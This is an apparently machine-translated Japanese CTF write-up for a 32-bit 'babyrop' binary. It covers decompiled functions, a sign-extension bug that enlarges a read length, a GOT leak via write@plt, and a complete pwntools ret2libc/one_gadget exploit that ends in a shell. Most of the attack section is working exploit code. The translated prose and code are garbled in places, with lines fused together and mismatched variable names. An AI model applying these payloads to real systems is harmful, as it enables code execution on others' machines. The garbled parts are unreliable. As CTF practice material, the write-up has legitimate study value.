pwn問題をテストします.複数の脆弱性の組合せ-スタックのフォーマット


checksecメカニズムとfile情報

    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

./babyrop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter 
/lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=6503b3ef34c8d55c8d3e861fb4de2110d0f9f8e2, stripped

うんてん

 ~

IDA分析

ssize_t __cdecl sub_80487D0(char a1)
{
  ssize_t result; // eax
  char buf; // [esp+11h] [ebp-E7h] 231

  if ( a1 == 127 )
    result = read(0, &buf, 0xC8u);              // 200
  else
    result = read(0, &buf, a1);                 // a1     
  return result;
}

この抜け穴は、私は長い間見ることができて、自分も出会ったことがなくて、次は記憶性が長くなって、これは戻り数字を利用してスタックの入力バイト数を拡大しました.
int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h]
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}
int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s; // [esp+Ch] [ebp-4Ch]
  char buf[7]; // [esp+2Ch] [ebp-2Ch] 44
  unsigned __int8 v5; // [esp+33h] [ebp-25h]
  ssize_t v6; // [esp+4Ch] [ebp-Ch]

  memset(&s, 0, 0x20u);
  memset(buf, 0, 0x20u);
  sprintf(&s, "%ld", a1);
  v6 = read(0, buf, 0x20u);                     // 32
  buf[v6 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, &s, v1) )
    exit(0);
  write(1, "Correct
", 8u); return v5; # v5 a1 return }

v 5を比較的大きな数字に上書きできるかどうかを確認する必要があります
-0000002D                 db ? ; undefined
-0000002C buf             db ?				|   # 
-0000002B                 db ? ; undefined		|
-0000002A                 db ? ; undefined		|
-00000029                 db ? ; undefined		|
-00000028                 db ? ; undefined	

たんじゅんぶんせき

  • 注意:IDAがメモリデータdd db dwを表示してDを利用してタイプの異なるデータ型間のバイト数を変換することができ、データを埋め込む際にsizeが問題を特定する.
  • 0 x 2 c-0 x 25=0 x 7で、0 x 7個のデータを入力して「xff」を入力してデータsizeを拡大します.ここではonegadgetを使用するので、paddingのサイズをあまり大きく設定する必要はありません.
  • ここで知っておくべきことはlibcです.baseはFull RELRO利用got表複写術を開いたため、writeは良い漏洩関数であり、「alarm」は目覚まし時計関数とも呼ばれる.
  • ここではまず、gotテーブルにデータを複写する順序
  • を補完する.
       
    size # 
    buf #buf 
    1 # 
    @PLT
    

    EXP


    シナリオにはonegadgetとsysten("/bin/sh")があり、別々に見に行きます
    #!/usr/bin/env python
    #coding=utf8 
    from pwn import* 
    context.log_level = 'debug' 
    context.terminal =['gnome-terminal','-x','bash','-c'] 
    p = process("./babyrop.babyrop")
    libc = ELF("libc.so.6")  
    libc = ELF("libc-2.23.so")
    elf = ELF("./babyrop.babyrop")
    
    libc_base = 0xf7e05000
    one_gadget_offset = 0x3a80e
    
    gadget_addr = libc_base + one_gadget_offset
    print("[+]---->gadget_addr = ") + hex(gadget_addr)
    #gdb.attach(p,"b* "+ "0x804871F")
    payload = "\x00"*7 + "\xff"  #
    p.sendline(payload)
    
    payload1 = "A"*0Xe7 + "B"*4 + p32(elf.plt['write'])+p32(0x80487D0)+p32(1)+p32(elf.got['alarm'])+p32(4)
    p.recvline("Correct
    ") #gdb.attach(p) p.sendline(payload1) write_addr = u32(p.recv(4)) libc_base = write_addr - libc.symbols['alarm'] system_addr = libc_base + libc.symbols['system'] bin_sh_addr = libc_base + libc.search('/bin/sh').next() print ("[+]---->write_addr = ") +hex(write_addr) print ("[+]---->libc_base = ") +hex(libc_base) print ("[+]---->system_addr = ") +hex(system_addr) print ("[+]---->bin_sh_addr = ") +hex(bin_sh_addr) print ("[+]---->write_plt = ") +hex(elf.plt['write']) print ("[+]---->write_got = ") +hex(elf.got['write']) #p.recv() #gdb.attach(p) payload2 = "A"*0Xe7 + "B"*4 + p32(system_addr)+p32(0)+p32(bin_sh_addr) p.sendline(payload2) p.interactive()